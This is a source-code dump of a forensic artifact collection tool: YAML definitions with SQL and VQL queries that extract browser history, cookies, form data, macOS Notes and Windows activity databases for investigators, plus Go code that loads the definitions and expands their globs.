5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='moz_historyvisits' OR name='moz_bookmarks'
10 | OR name='moz_places' OR name='moz_inputhistory');
11 | SQLiteIdentifyValue: 4
12 | Categories:
13 | - Firefox
14 | - Browser
15 |
16 | FilenameRegex: "places.sqlite"
17 | Globs:
18 | - "{{WindowsFirefoxProfiles}}/*/places.sqlite"
19 | - "{{LinuxFirefoxProfiles}}/places.sqlite"
20 | - "{{MacOSFirefoxProfiles}}/places.sqlite"
21 |
22 | Sources:
23 | - VQL: |
24 | LET BookmarkTypes <= dict(`1`="URL", `2`="Folder", `3`="Separator")
25 | SELECT ID, ParentID,
26 | get(item= BookmarkTypes, field=str(str=type), default="Unknown") AS Type,
27 | timestamp(epoch=dateAdded) AS DateAdded,
28 | timestamp(epoch=lastModified) AS LastModified,
29 | Position, Title, URL, ForeignKey, OSPath
30 | FROM Rows
31 | WHERE LastModified > DateAfter AND LastModified < DateBefore
32 | AND (Title, URL) =~ FilterRegex
33 |
34 | SQL: |
35 | SELECT
36 | Bookmarks.id AS ID,
37 | Bookmarks.parent AS ParentID,
38 | Bookmarks.type,
39 | Bookmarks.dateAdded,
40 | Bookmarks.lastModified,
41 | Bookmarks.position AS Position,
42 | Bookmarks.title AS Title,
43 | moz_places.url AS URL,
44 | Bookmarks.fk AS ForeignKey
45 | FROM moz_bookmarks AS Bookmarks
46 | LEFT JOIN moz_places ON Bookmarks.fk = moz_places.id
47 | ORDER BY Bookmarks.id ASC
48 |
49 | - name: Downloads
50 | VQL: |
51 | SELECT PlaceID, Content,
52 | timestamp(epoch=dateAdded) AS DateAdded,
53 | timestamp(epoch=lastModified) AS LastModified,
54 | OSPath
55 | FROM Rows
56 | WHERE LastModified > DateAfter AND LastModified < DateBefore
57 | AND Content =~ FilterRegex
58 |
59 | SQL: |
60 | SELECT
61 | moz_annos.place_id AS PlaceID,
62 | moz_annos.content AS Content,
63 | dateAdded,
64 | lastModified
65 | FROM moz_annos
66 | WHERE anno_attribute_id IN (1,2)
67 | ORDER BY moz_annos.dateAdded ASC
68 |
69 | - name: History
70 | VQL: |
71 | LET VisitType <= dict(`1`='TRANSITION_LINK', `2`='TRANSITION_TYPED', `3`='TRANSITION_BOOKMARK',
72 | `4`='TRANSITION_EMBED', `5`= 'TRANSITION_REDIRECT_PERMANENT', `6`='TRANSITION_REDIRECT_TEMPORARY',
73 | `7`='TRANSITION_DOWNLOAD', `8`='TRANSITION_FRAMED_LINK', `9`='TRANSITION_RELOAD')
74 |
75 | SELECT VisitID, FromVisitID,
76 | timestamp(epoch= last_visit_date) AS LastVisitDate,
77 | VisitCount, URL, Title, Description,
78 | get(item= VisitType, field=str(str=visit_type), default="Unknown") AS VisitType,
79 | Bool(Value=hidden) AS Hidden,
80 | Bool(Value=typed) AS Typed,
81 | Frecency, PreviewImageURL, OSPath
82 | FROM Rows
83 | WHERE LastVisitDate > DateAfter AND LastVisitDate < DateBefore
84 | AND (Title, URL, Description) =~ FilterRegex
85 |
86 | SQL: |
87 | SELECT
88 | moz_historyvisits.id AS VisitID,
89 | moz_historyvisits.from_visit AS FromVisitID,
90 | moz_places.last_visit_date,
91 | moz_places.visit_count AS VisitCount,
92 | moz_places.url AS URL,
93 | moz_places.title AS Title,
94 | moz_places.description AS Description,
95 | moz_historyvisits.visit_type,
96 | moz_places.hidden,
97 | moz_places.typed,
98 | moz_places.frecency AS Frecency,
99 | moz_places.preview_image_url AS PreviewImageURL
100 | FROM moz_places
101 | INNER JOIN moz_historyvisits ON moz_places.origin_id = moz_historyvisits.id
102 | ORDER BY moz_places.last_visit_date ASC
103 |
--------------------------------------------------------------------------------
/definitions/Firefox_Cookies.yaml:
--------------------------------------------------------------------------------
1 | Name: Firefox Cookies
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='moz_cookies');
10 | SQLiteIdentifyValue: 1
11 | Categories:
12 | - Firefox
13 | - Browser
14 |
15 | FilenameRegex: "cookies.sqlite"
16 | Globs:
17 | - "{{WindowsFirefoxProfiles}}/*/cookies.sqlite"
18 | - "{{LinuxFirefoxProfiles}}/cookies.sqlite"
19 | - "{{MacOSFirefoxProfiles}}/cookies.sqlite"
20 |
21 | Sources:
22 | - VQL: |
23 | SELECT ID, Host, Name, Value,
24 | timestamp(epoch= creationTime) AS CreationTime,
25 | timestamp(epoch= lastAccessed) AS LastAccessedTime,
26 | timestamp(epoch= expiry) AS Expiration,
27 | Bool(Value= isSecure) AS IsSecure,
28 | Bool(Value= isHttpOnly) AS IsHTTPOnly, OSPath
29 | FROM Rows
30 | WHERE LastAccessedTime > DateAfter
31 | AND LastAccessedTime < DateBefore
32 | AND ( Name =~ FilterRegex OR Value =~ FilterRegex )
33 |
34 | SQL: |
35 | SELECT
36 | moz_cookies.id AS ID,
37 | moz_cookies.host AS Host,
38 | moz_cookies.name AS Name,
39 | moz_cookies.value AS Value,
40 | moz_cookies.creationTime,
41 | moz_cookies.lastAccessed,
42 | moz_cookies.expiry,
43 | moz_cookies.isSecure,
44 | moz_cookies.isHttpOnly
45 | FROM moz_cookies
46 | ORDER BY moz_cookies.id ASC
47 |
--------------------------------------------------------------------------------
/definitions/Firefox_Downloads.yaml:
--------------------------------------------------------------------------------
1 | Name: Firefox Downloads
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='moz_downloads');
10 | SQLiteIdentifyValue: 1
11 | Categories:
12 | - Firefox
13 | - Browser
14 |
15 | FilenameRegex: "downloads.sqlite"
16 | Globs:
17 | - "{{WindowsFirefoxProfiles}}/*/downloads.sqlite"
18 | - "{{LinuxFirefoxProfiles}}/downloads.sqlite"
19 | - "{{MacOSFirefoxProfiles}}/downloads.sqlite"
20 |
21 | Sources:
22 | - VQL: |
23 | SELECT ID, Name, MIMEType, Source, Target,
24 | timestamp(epoch= startTime) AS StartTime,
25 | timestamp(epoch= endTime) AS EndTime,
26 | timestamp(epoch= expiry) AS Expiration,
27 | CurrentBytes, MaxBytes, OSPath
28 | FROM Rows
29 | WHERE StartTime > DateAfter
30 | AND StartTime < DateBefore
31 | AND Name =~ FilterRegex
32 |
33 | SQL: |
34 | SELECT
35 | moz_downloads.id AS ID,
36 | moz_downloads.name AS Name,
37 | moz_downloads.mimeType AS MIMEType,
38 | moz_downloads.source AS Source,
39 | moz_downloads.target AS Target,
40 | startTime,
41 | endTime,
42 | moz_downloads.currBytes AS CurrentBytes,
43 | moz_downloads.maxBytes AS MaxBytes
44 | FROM moz_downloads
45 | ORDER BY moz_downloads.id ASC
46 |
--------------------------------------------------------------------------------
/definitions/Firefox_Favicons.yaml:
--------------------------------------------------------------------------------
1 | Name: Firefox Favicons
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='moz_icons' OR name='moz_icons_to_pages' OR name='moz_pages_w_icons');
10 | SQLiteIdentifyValue: 3
11 | Categories:
12 | - Firefox
13 | - Browser
14 |
15 | FilenameRegex: "favicons.sqlite"
16 | Globs:
17 | - "{{WindowsFirefoxProfiles}}/*/favicons.sqlite"
18 | - "{{LinuxFirefoxProfiles}}/favicons.sqlite"
19 | - "{{MacOSFirefoxProfiles}}/favicons.sqlite"
20 |
21 | Sources:
22 | - VQL: |
23 | SELECT ID, PageURL, FaviconURL,
24 | timestamp(epoch= expire_ms) AS Expiration,
25 | OSPath
26 | FROM Rows
27 | SQL: |
28 | SELECT
29 | moz_icons.id AS ID,
30 | moz_pages_w_icons.page_url AS PageURL,
31 | moz_icons.icon_url AS FaviconURL,
32 | moz_icons.expire_ms
33 | FROM moz_icons
34 | INNER JOIN moz_icons_to_pages ON moz_icons.id = moz_icons_to_pages.icon_id
35 | INNER JOIN moz_pages_w_icons ON moz_icons_to_pages.page_id = moz_pages_w_icons.id
36 | ORDER BY moz_icons.expire_ms ASC
37 |
--------------------------------------------------------------------------------
/definitions/Firefox_FormHistory.yaml:
--------------------------------------------------------------------------------
1 | Name: Firefox Form History
2 | Author: Andrew Rathbun
3 | Email: andrew.d.rathbun@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='moz_formhistory');
10 |
11 | SQLiteIdentifyValue: 1
12 | Categories:
13 | - Firefox
14 | - Browser
15 |
16 | FilenameRegex: "formhistory.sqlite"
17 | Globs:
18 | - "{{WindowsFirefoxProfiles}}/*/formhistory.sqlite"
19 | - "{{LinuxFirefoxProfiles}}/formhistory.sqlite"
20 | - "{{MacOSFirefoxProfiles}}/formhistory.sqlite"
21 |
22 | Sources:
23 | - VQL: |
24 | SELECT ID, FieldName, Value, TimesUsed,
25 | timestamp(epoch= firstUsed) AS FirstUsed,
26 | timestamp(epoch= lastUsed) AS LastUsed,
27 | GUID, OSPath
28 | FROM Rows
29 | WHERE LastUsed > DateAfter AND LastUsed < DateBefore
30 | AND ( FieldName =~ FilterRegex OR Value =~ FilterRegex )
31 |
32 | SQL: |
33 | SELECT
34 | id AS ID,
35 | fieldname AS FieldName,
36 | value AS Value,
37 | timesUsed AS TimesUsed,
38 | firstUsed,
39 | lastUsed,
40 | guid AS GUID
41 | FROM moz_formhistory
42 | ORDER BY id ASC
43 |
--------------------------------------------------------------------------------
/definitions/InternetExplorer_WebCacheV01.yaml:
--------------------------------------------------------------------------------
1 | Name: IE or Edge WebCacheV01
2 | Categories:
3 | - Edge
4 | - InternetExplorer
5 | - Browser
6 |
7 | FilenameRegex: "WebCacheV01.dat"
8 | Globs:
9 | - C:/Users/*/AppData/Local/Microsoft/Windows/WebCache/WebCacheV01.dat
10 |
11 | Sources:
12 | - name: All Data
13 | VQL: |
14 | LET MatchingFiles = SELECT OSPath FROM Rows
15 | LET S = scope()
16 |
17 | LET Containers(OSPath) = SELECT Table
18 | FROM parse_ese_catalog(file=OSPath)
19 | WHERE Table =~ "Container_"
20 | GROUP BY Table
21 |
22 | LET AllHits(OSPath) = SELECT * FROM foreach(row={
23 | SELECT * FROM Containers(OSPath=OSPath)
24 | }, query={
25 | SELECT timestamp(winfiletime=ExpiryTime) AS ExpiryTime,
26 | timestamp(winfiletime=ModifiedTime) AS ModifiedTime,
27 | timestamp(winfiletime=AccessedTime) AS AccessedTime,
28 | S.Url AS Url, *
29 | FROM parse_ese(file=OSPath, table=Table)
30 | })
31 |
32 | SELECT * FROM foreach(row=MatchingFiles, query={
33 | SELECT * FROM AllHits(OSPath=OSPath)
34 | })
35 | WHERE AccessedTime > DateAfter AND AccessedTime < DateBefore
36 | AND Url =~ FilterRegex
37 |
38 |
39 | - name: Highlights
40 | VQL: |
41 | SELECT * FROM foreach(row=MatchingFiles, query={
42 | SELECT AccessedTime, ModifiedTime, ExpiryTime, Url
43 | FROM AllHits(OSPath=OSPath)
44 | })
45 | WHERE AccessedTime > DateAfter AND AccessedTime < DateBefore
46 | AND Url =~ FilterRegex
47 |
--------------------------------------------------------------------------------
/definitions/MacOS_Applications_Cache.yaml:
--------------------------------------------------------------------------------
1 | Name: MacOS Applications Cache
2 | Author: Wes Lambert - @therealwlambert
3 | Description: |
4 | Applications can use the NSURL cache to store specific data that is
5 | useful to the operation of the application in a `Cache.db` file on
6 | disk. The data contained within this file could potentially be
7 | useful to investigators or incident responders, such as URLs that
8 | were accessed, as well as data requested or returned.
9 |
10 | Reference: https://developer.apple.com/documentation/foundation/nsurl
11 | SQLiteIdentifyQuery: |
12 | SELECT count(*) AS `Check`
13 | FROM sqlite_master
14 | WHERE type='table'
15 | AND (name='cfurl_cache_response' OR name='cfurl_cache_blob_data'
16 | OR name='cfurl_cache_receiver_data');
17 | SQLiteIdentifyValue: 3
18 | Categories:
19 | - MacOS
20 |
21 | FilenameRegex: "Cache.db"
22 | Globs:
23 | - "/Users/*/Library/Caches/*/Cache.db"
24 |
25 | Sources:
26 | - VQL: |
27 | SELECT
28 | time_stamp AS Timestamp,
29 | OSPath.Base AS Application,
30 | entry_ID AS EntryID,
31 | version AS Version,
32 | hash_value AS Hash,
33 | storage_policy AS StoragePolicy,
34 | request_key AS URL,
35 | plist(file=request_object, accessor="data") AS Request,
36 | plist(file=response_object, accessor="data") AS Response,
37 | partition AS Partition,
38 | OSPath
39 | FROM Rows
40 | WHERE Timestamp > DateAfter AND Timestamp < DateBefore
41 | AND Application =~ FilterRegex
42 |
43 | SQL: |
44 | SELECT cfurl_cache_response.entry_ID AS entry_ID,
45 | version, hash_value, storage_policy, request_key,
46 | time_stamp, partition, request_object, response_object
47 | FROM cfurl_cache_response
48 | INNER JOIN cfurl_cache_blob_data ON cfurl_cache_response.entry_ID = cfurl_cache_blob_data.entry_ID
49 | INNER JOIN cfurl_cache_receiver_data ON cfurl_cache_response.entry_ID = cfurl_cache_receiver_data.entry_ID
50 |
--------------------------------------------------------------------------------
/definitions/MacOS_NetworkUsage.yaml:
--------------------------------------------------------------------------------
1 | Name: MacOS NetworkUsage
2 | Author: Wes Lambert - @therealwlambert
3 | Description: |
4 | On macOS, the NetUsage DB can provide various details around
5 | application network utilization. With this artifact, we can get an
6 | idea of what applications are utilizing the network for
7 | communications and to what degree. We can also identify if usage
8 | has occurred through a WIFI network or a wired network.
9 |
10 | More information about this database can be found here:
11 |
12 | http://www.mac4n6.com/blog/2019/1/6/network-and-application-usage-using-netusagesqlite-amp-datausagesqlite-ios-databases
13 |
14 | Reference: http://www.mac4n6.com/blog/2019/1/6/network-and-application-usage-using-netusagesqlite-amp-datausagesqlite-ios-databases
15 | SQLiteIdentifyQuery: |
16 | SELECT count(*) AS `Check`
17 | FROM sqlite_master
18 | WHERE type='table'
19 | AND (name='ZLIVEUSAGE' OR name='ZPROCESS');
20 | SQLiteIdentifyValue: 2
21 | Categories:
22 | - MacOS
23 |
24 | FilenameRegex: "netusage.sqlite"
25 | Globs:
26 | - /private/var/networkd/netusage.sqlite
27 | - /private/var/networkd/db/netusage.sqlite
28 |
29 | Sources:
30 | - VQL: |
31 | SELECT timestamp(epoch= ZTIMESTAMP + 978307200) AS Timestamp,
32 | timestamp(epoch= ZFIRSTTIMESTAMP + 978307200) AS FirstTimestamp,
33 | timestamp(epoch= LIVE_USAGE_TIMESTAMP + 978307200) AS LiveUsageTimestamp,
34 | ZBUNDLENAME AS BundleID,
35 | ZPROCNAME AS ProcessName,
36 | ZWIFIIN AS WifiIn,
37 | ZWIFIOUT AS WifiOut,
38 | ZWWANIN AS WanIn,
39 | ZWWANOUT AS WandOut,
40 | ZWIREDIN AS WiredIn,
41 | ZWIREDOUT AS WiredOut,
42 | ZXIN AS _XIn,
43 | ZXOUT AS _XOut,
44 | Z_PK AS LiveUsageTableID
45 | FROM Rows
46 |
47 | SQL: |
48 | SELECT
49 | ZPROCESS.ZTIMESTAMP,
50 | ZPROCESS.ZFIRSTTIMESTAMP,
51 | ZLIVEUSAGE.ZTIMESTAMP AS LIVE_USAGE_TIMESTAMP",
52 | ZBUNDLENAME,
53 | ZPROCNAME,
54 | ZWIFIIN,
55 | ZWIFIOUT,
56 | ZWWANIN,
57 | ZWWANOUT,
58 | ZWIREDIN,
59 | ZWIREDOUT,
60 | ZXIN,
61 | ZXOUT,
62 | ZLIVEUSAGE.Z_PK,
63 | FROM ZLIVEUSAGE
64 | LEFT JOIN ZPROCESS ON ZPROCESS.Z_PK = ZLIVEUSAGE.ZHASPROCESS
65 |
--------------------------------------------------------------------------------
/definitions/MacOS_Notes.yaml:
--------------------------------------------------------------------------------
1 | Name: MacOS Notes
2 | Author: Wes Lambert - @therealwlambert
3 | Description: |
4 | This artifact provides details about notes taken using the default
5 | Notes application on macOS. These notes can be useful during an
6 | investigation, especially if tied to interesting files.
7 |
8 | Deleted notes and attachments can also be recovered in some
9 | instances.
10 |
11 | The SQL query within this artifact was primarily derived from
12 | Yogesh Khatri's referenced blog post.
13 |
14 | NOTE: This artifact may not cover all attachments at this time, and
15 | there are many more great pieces of data to discover! More
16 | information can be found in the `ZICCLOUDSYNCINGOBJECT` table.
17 |
18 | Reference: http://www.swiftforensics.com/2018/02/reading-notes-database-on-macos.html
19 |
20 | SQLiteIdentifyQuery: |
21 | SELECT count(*) AS `Check`
22 | FROM sqlite_master
23 | WHERE type='table'
24 | AND (name='ZICNOTEDATA' OR name='ZICCLOUDSYNCINGOBJECT');
25 | SQLiteIdentifyValue: 2
26 | Categories:
27 | - MacOS
28 |
29 | FilenameRegex: "NoteStore.sqlite|NotesV.+storedata"
30 | Globs:
31 | - /Users/*/Library/Containers/com.apple.Notes/Data/Library/Notes/NotesV*.storedata
32 | - /Users/*/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite
33 |
34 | Sources:
35 | - VQL: |
36 | SELECT Key AS _Key,
37 | OSPath[1] AS User,
38 | Note,
39 | Title,
40 | Snippet,
41 | NoteID AS _NoteID,
42 | timestamp(cocoatime=CreatedTS) AS CreatedTime,
43 | timestamp(cocoatime=LastOpenedDate) AS LastOpenedTime,
44 | timestamp(cocoatime=DirModificationDate) AS LastDirModifcation,
45 | Account AS _Account,
46 | Directory,
47 | DirectoryID,
48 | AttachmentName,
49 | AttachmentSize,
50 | AttachmentUUID,
51 | if(condition=AttachmentUUID,
52 | then=OSPath[:2] + '/Library/Group Containers/group.com.apple.notes/Accounts/LocalAccount/Media/' + AttachmentUUID + '/' + AttachmentName) AS AttachmentLocation,
53 | AccountName AS _AccountName,
54 | AccountID AS _AccountID,
55 | AccountType AS _AccountType,
56 | gunzip(string=Data) AS Data,
57 | OSPath
58 | FROM Rows
59 | WHERE LastOpenedTime > DateAfter AND LastOpenedTime < DateBefore
60 | AND ( Title =~ FilterRegex OR Data =~ FilterRegex )
61 |
62 | SQL: |
63 | SELECT n.Z_PK AS Key,
64 | n.ZNOTE as Note,
65 | c1.ZTITLE1 as Title,
66 | c1.ZSNIPPET as Snippet,
67 | c1.ZIDENTIFIER as NoteID,
68 | c1.ZCREATIONDATE3 as CreatedTS,
69 | c1.ZFOLDERMODIFICATIONDATE AS DirModificationDate,
70 | c1.ZLASTOPENEDDATE AS LastOpenedDate,
71 | c2.ZACCOUNT3 as Account,
72 | c2.ZTITLE2 as Directory,
73 | c2.ZIDENTIFIER as DirectoryID,
74 | c4.ZFILENAME as AttachmentName,
75 | c3.ZFILESIZE as AttachmentSize,
76 | c4.ZIDENTIFIER as AttachmentUUID,
77 | c5.ZNAME as AccountName,
78 | c5.ZIDENTIFIER as AccountID,
79 | c5.ZACCOUNTTYPE as AccountType,
80 | n.ZDATA as Data
81 | FROM ZICNOTEDATA as n
82 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c1 ON c1.ZNOTEDATA = n.Z_PK
83 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c2 ON c2.Z_PK = c1.ZFOLDER
84 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c3 ON c3.ZNOTE= n.ZNOTE
85 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c4 ON c4.ZATTACHMENT1= c3.Z_PK
86 | LEFT JOIN ZICCLOUDSYNCINGOBJECT as c5 ON c5.Z_PK = c1.ZACCOUNT2
87 | ORDER BY Key
88 |
--------------------------------------------------------------------------------
/definitions/MacOS_XProtect_Detections.yaml:
--------------------------------------------------------------------------------
1 | Name: MacOS XProtect Detections
2 | Author: Matt Green - @mgreen27
3 | Description: |
4 | This artifact provides details about XProtect detections on macOS.
5 |
6 | macOS includes built-in antivirus technology called XProtect for
7 | the signature-based detection and removal of malware. The system
8 | uses YARA and behavorial signatures.
9 |
10 | Reference: https://www.huntress.com/blog/dmxprotect-stop-drop-shut-malware-down-before-it-opens-up-shop
11 |
12 | SQLiteIdentifyQuery: |
13 | SELECT count(*) AS `Check`
14 | FROM sqlite_master
15 | WHERE type='table'
16 | AND name='events';
17 | SQLiteIdentifyValue: 1
18 |
19 | Categories:
20 | - MacOS
21 |
22 | FilenameRegex: "XPdb"
23 | Globs:
24 | - "/private/var/protected/xprotect/XPdb"
25 |
26 | Sources:
27 | - VQL: |
28 | SELECT *
29 | FROM Rows
30 | WHERE dt > DateAfter
31 | AND dt < DateBefore
32 | AND (violated_rule, exec_path, responsible_path, responsible_signing_id,
33 | exec_cdhash, exec_sha256, responsible_cdhash, responsible_sha256 ) =~ FilterRegex
34 |
35 | SQL: |
36 | SELECT * FROM events
37 |
--------------------------------------------------------------------------------
/definitions/Windows_ActivitiesCache.yaml:
--------------------------------------------------------------------------------
1 | Name: Windows Activities Cache
2 | Author: Eric Zimmerman
3 | Email: saericzimmerman@gmail.com
4 | Reference: https://github.com/EricZimmerman/SQLECmd
5 | SQLiteIdentifyQuery: |
6 | SELECT count(*) AS `Check`
7 | FROM sqlite_master
8 | WHERE type='table'
9 | AND (name='Activity' OR name='Activity_PackageId' OR name='ActivityOperation');
10 | SQLiteIdentifyValue: 3
11 | Categories:
12 | - Windows
13 |
14 | FilenameRegex: "ActivitiesCache.db"
15 | Globs:
16 | - "C:/Users/*/AppData/Local/ConnectedDevicesPlatform/L.*/ActivitiesCache.db"
17 |
18 | Sources:
19 | - name: ActivityPackageId
20 | VQL: |
21 | SELECT format(format="%0X-%0X-%0X-%0X-%0X", args=[
22 | ActivityId[0:4], ActivityId[4:6], ActivityId[6:8],
23 | ActivityId[8:10], ActivityId[10:] ]) AS ActivityId,
24 | Platform, PackageName, ExpirationTime, OSPath
25 | FROM Rows
26 |
27 | SQL: |
28 | Select ActivityId, Platform, PackageName, ExpirationTime
29 | FROM Activity_PackageId
30 |
31 | - name: Clipboard
32 | SQL: |
33 | SELECT * FROM ActivityOperation
34 | VQL: |
35 | SELECT
36 | CreatedTime,
37 | timestamp(epoch=LastModifiedTime) AS LastModifiedTime,
38 | timestamp(epoch=LastModifiedOnClient) AS LastModifiedOnClient,
39 | StartTime,
40 | EndTime,
41 | Payload,
42 | OSPath[1] AS User,
43 | base64decode(string=parse_json_array(data=ClipboardPayload)[0].content) AS ClipboardPayload,
44 | OSPath AS Path,
45 | Mtime
46 | FROM Rows
47 | WHERE StartTime > DateAfter
48 | AND StartTime < DateBefore
49 | AND ClipboardPayload =~ FilterRegex
50 |
--------------------------------------------------------------------------------
/definitions/Windows_SearchService.yaml:
--------------------------------------------------------------------------------
1 | Name: Windows Search Service
2 |
3 | Description: |
4 | Analysis of the Windows search index database. See
5 | https://www.aon.com/cyber-solutions/aon_cyber_labs/windows-search-index-the-forensic-artifact-youve-been-searching-for/
6 |
7 | Categories:
8 | - Windows
9 |
10 | FilenameRegex: "Windows.edb"
11 | Globs:
12 | - C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb
13 |
14 | Sources:
15 | - name: SystemIndex_Gthr
16 | VQL: |
17 | LET MatchingFiles = SELECT OSPath FROM Rows
18 |
19 | LET FormatTimeB(T) = timestamp(winfiletime=parse_binary(
20 | filename=T, accessor="data", struct="uint64b"))
21 |
22 | LET FormatTime(T) = timestamp(winfiletime=parse_binary(
23 | filename=T, accessor="data", struct="uint64"))
24 |
25 | LET FormatSize(T) = parse_binary(
26 | filename=T, accessor="data", struct="uint64")
27 |
28 | SELECT * FROM foreach(row=MatchingFiles, query={
29 | SELECT ScopeID, DocumentID, SDID,
30 | FormatTimeB(T=LastModified) AS LastModified,
31 | FileName
32 | FROM parse_ese(file=OSPath, table= "SystemIndex_Gthr")
33 | })
34 | WHERE LastModified > DateAfter AND LastModified < DateBefore
35 | AND FileName =~ FilterRegex
36 |
37 | - name: SystemIndex_GthrPth
38 | VQL: |
39 | SELECT * FROM foreach(row=MatchingFiles, query={
40 | SELECT Scope, Parent, Name
41 | FROM parse_ese(file=OSPath, table= "SystemIndex_GthrPth")
42 | })
43 | WHERE Name =~ FilterRegex
44 |
45 | - name: SystemIndex_PropertyStore
46 | VQL: |
47 | LET X = scope()
48 |
49 | -- The PropertyStore columns look like
50 | -- -ProperName so we strip the
51 | -- random part off to display it properly.
52 | LET FilterDict(Dict) = to_dict(item={
53 | SELECT split(sep_string="-", string=_key)[1] || _key AS _key, _value
54 | FROM items(item=Dict)
55 | })
56 |
57 | LET PropStore(OSPath) = SELECT *,
58 | FormatTime(T=X.System_Search_GatherTime) AS System_Search_GatherTime,
59 | FormatSize(T=X.System_Size) AS System_Size,
60 | FormatTime(T=X.System_DateModified) AS System_DateModified,
61 | FormatTime(T=X.System_DateAccessed) AS System_DateAccessed,
62 | FormatTime(T=X.System_DateCreated) AS System_DateCreated
63 | FROM foreach(row={
64 | SELECT *, FilterDict(Dict=_value) AS _value
65 | FROM items(item={
66 | SELECT * FROM parse_ese(file=OSPath, table="SystemIndex_PropertyStore")
67 | })
68 | }, column="_value")
69 |
70 | SELECT * FROM foreach(row=MatchingFiles, query={
71 | SELECT *
72 | FROM PropStore(OSPath=OSPath)
73 | })
74 | WHERE System_DateAccessed > DateAfter AND System_DateAccessed < DateBefore
75 |
76 | - name: SystemIndex_PropertyStore_Highlights
77 | VQL: |
78 | SELECT * FROM foreach(row=MatchingFiles, query={
79 | SELECT WorkID,
80 | System_Search_GatherTime,
81 | System_Size,
82 | System_DateModified,
83 | System_DateCreated,
84 | X.System_FileOwner AS System_FileOwner,
85 | X.System_ItemPathDisplay AS System_ItemPathDisplay,
86 | X.System_ItemType AS System_ItemType,
87 | X.System_FileAttributes AS System_FileAttributes,
88 | X.System_Search_AutoSummary AS System_Search_AutoSummary
89 | FROM PropStore(OSPath=OSPath)
90 | })
91 | WHERE System_DateAccessed > DateAfter AND System_DateAccessed < DateBefore
92 |
93 | - name: BrowsingActivity
94 | VQL: |
95 | SELECT * FROM foreach(row=MatchingFiles, query={
96 | SELECT X.ItemPathDisplay AS ItemPathDisplay,
97 | X.Activity_ContentUri AS Activity_ContentUri,
98 | X.Activity_Description AS Activity_Description
99 | FROM PropStore(OSPath=OSPath)
100 | WHERE Activity_ContentUri
101 | })
102 |
103 | - name: UserActivityLogging
104 | VQL: |
105 | SELECT * FROM foreach(row=MatchingFiles, query={
106 | SELECT X.System_ItemPathDisplay AS System_ItemPathDisplay,
107 | FormatTime(T=X.ActivityHistory_StartTime) AS ActivityHistory_StartTime,
108 | FormatTime(T=X.ActivityHistory_EndTime) AS ActivityHistory_EndTime,
109 | X.ActivityHistory_AppId AS ActivityHistory_AppId
110 | FROM PropStore(OSPath=OSPath)
111 | WHERE ActivityHistory_AppId
112 | })
113 | WHERE ActivityHistory_StartTime > DateAfter
114 | AND ActivityHistory_StartTime < DateBefore
115 |
--------------------------------------------------------------------------------
/definitions/globs.go:
--------------------------------------------------------------------------------
1 | package definitions
2 |
3 | import (
4 | "regexp"
5 | "strings"
6 |
7 | "github.com/attachedbroo/SQLiteHunter/api"
8 | )
9 |
10 | var (
11 | templateRegex = regexp.MustCompile("\\{\\{.+\\}\\}")
12 | )
13 |
14 | func ExpandGlobs(definition api.Definition, config_obj *api.ConfigDefinitions) []string {
15 | var res []string
16 |
17 | for _, glob := range definition.Globs {
18 | has_template := false
19 |
20 | // Expand each template into the glob
21 | templateRegex.ReplaceAllStringFunc(glob,
22 | func(in string) string {
23 | has_template = true
24 | subs, pres := config_obj.Globs[strings.Trim(in, "{}")]
25 | if !pres {
26 | res = append(res, glob)
27 | return ""
28 | }
29 | // Add a glob for each substitution
30 | for _, s := range subs {
31 | res = append(res,
32 | strings.ReplaceAll(glob, in, s))
33 | }
34 | return ""
35 | })
36 |
37 | // The glob has no template expansion in it just include it
38 | // literally.
39 | if !has_template {
40 | res = append(res, glob)
41 | }
42 | }
43 |
44 | return res
45 | }
46 |
--------------------------------------------------------------------------------
/definitions/load.go:
--------------------------------------------------------------------------------
1 | package definitions
2 |
3 | import (
4 | "fmt"
5 | "io/fs"
6 | "io/ioutil"
7 | "os"
8 | "path/filepath"
9 | "strings"
10 |
11 | "github.com/attachedbroo/SQLiteHunter/api"
12 | "gopkg.in/yaml.v2"
13 | )
14 |
15 | func LoadDefinitions(root string) ([]api.Definition, error) {
16 | var definitions []api.Definition
17 |
18 | err := filepath.Walk(root,
19 | func(path string, d fs.FileInfo, err error) error {
20 | if err == nil && strings.HasSuffix(path, ".yaml") {
21 | var definition api.Definition
22 | fd, err := os.Open(path)
23 | if err != nil {
24 | fmt.Printf("Error processing %v: %v\n", path, err)
25 | return nil
26 | }
27 |
28 | data, err := ioutil.ReadAll(fd)
29 | if err != nil {
30 | fmt.Printf("Error processing %v: %v\n", path, err)
31 | return nil
32 | }
33 |
34 | err = yaml.Unmarshal(data, &definition)
35 | if err != nil {
36 | fmt.Printf("Error processing %v: %v\n", path, err)
37 | return err
38 | }
39 | definitions = append(definitions, definition)
40 | }
41 | return nil
42 | })
43 |
44 | return definitions, err
45 | }
46 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/attachedbroo/SQLiteHunter
2 |
3 | go 1.20
4 |
5 | require (
6 | github.com/Velocidex/ordereddict v0.0.0-20221110130714-6a7cb85851cd
7 | github.com/alecthomas/assert v1.0.0
8 | github.com/sebdah/goldie/v2 v2.5.3
9 | github.com/stretchr/testify v1.8.4
10 | gopkg.in/yaml.v2 v2.4.0
